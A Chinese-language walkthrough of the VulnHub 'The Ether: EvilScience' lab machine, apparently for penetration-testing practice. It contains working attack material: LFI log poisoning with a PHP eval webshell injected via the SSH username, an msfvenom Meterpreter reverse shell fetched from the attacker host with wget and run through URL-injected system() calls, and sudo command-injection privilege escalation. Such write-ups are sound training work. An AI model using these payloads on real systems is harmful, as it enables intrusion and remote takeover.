一、靶机下载地址
https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:F8:90:7A"
2、端口扫描
# 使用命令
nmap 192.168.145.201 -p- -sV
3、指纹识别
# 使用命令
whatweb 192.168.145.201
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.201"
三、获取shell
1、访问靶机IP地址
2、发下在点击上面的ABOUT US之后,url里有着请求参数:/?file=about.php,可能存在文件包含漏洞
3、拼接目录扫描出的目录,没有什么有用的信息,对可能存在文件包含漏洞的页面进行burp抓包,对file参数后面进行文件爆破
# 要爆破的文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
/var/log/auth.log
4、发现有一个/var/log/auth.log目录存在重定向,打开响应包,里面是日志记录,并且是ssh的记录,应该是会把ssh操作记录到这里面,我们尝试利用ssh写入一句话木马
5、利用ssh登录产生错误日志写入一句话木马,密码随便填
ssh '<?php @eval($_GET[d1no]);?>'@192.168.254.141
6、访问执行命令
7、获取shell,用msfvenom生成 shell
# 使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.145.146 LPORT=1234 -f elf > shell.elf
8、开启监听,并设置相关参数
#开启环境
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.145.146
set lport 1234
run
9、在下载的shell.elf文件下面开启web服务,进行远程下载
# 使用命令
python3 -m http.server
10、利用前面的漏洞执行远程下载和运行,将下面的每条命令在网页里拼接在URL参数后面,回车执行就可以,继续下一条命令
# 使用命令
/?file=/var/log/auth.log&d1no=system('wget+192.168.145.146:8000/shell.elf')%3b
/?file=/var/log/auth.log&d1no=system('chmod+%2bx+shell.elf')%3b
/?file=/var/log/auth.log&d1no=system('./shell.elf')%3b
11、命令执行完后成功获取到shell
四、提权
1、先将获取到的shell转变为交互式的shell
# 使用命令
shell
python -c 'import pty;pty.spawn("/bin/bash")'
2、输入sudo -l
查看可执行的命令
3、执行一下命令,提权成功
# 使用命令
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | whoami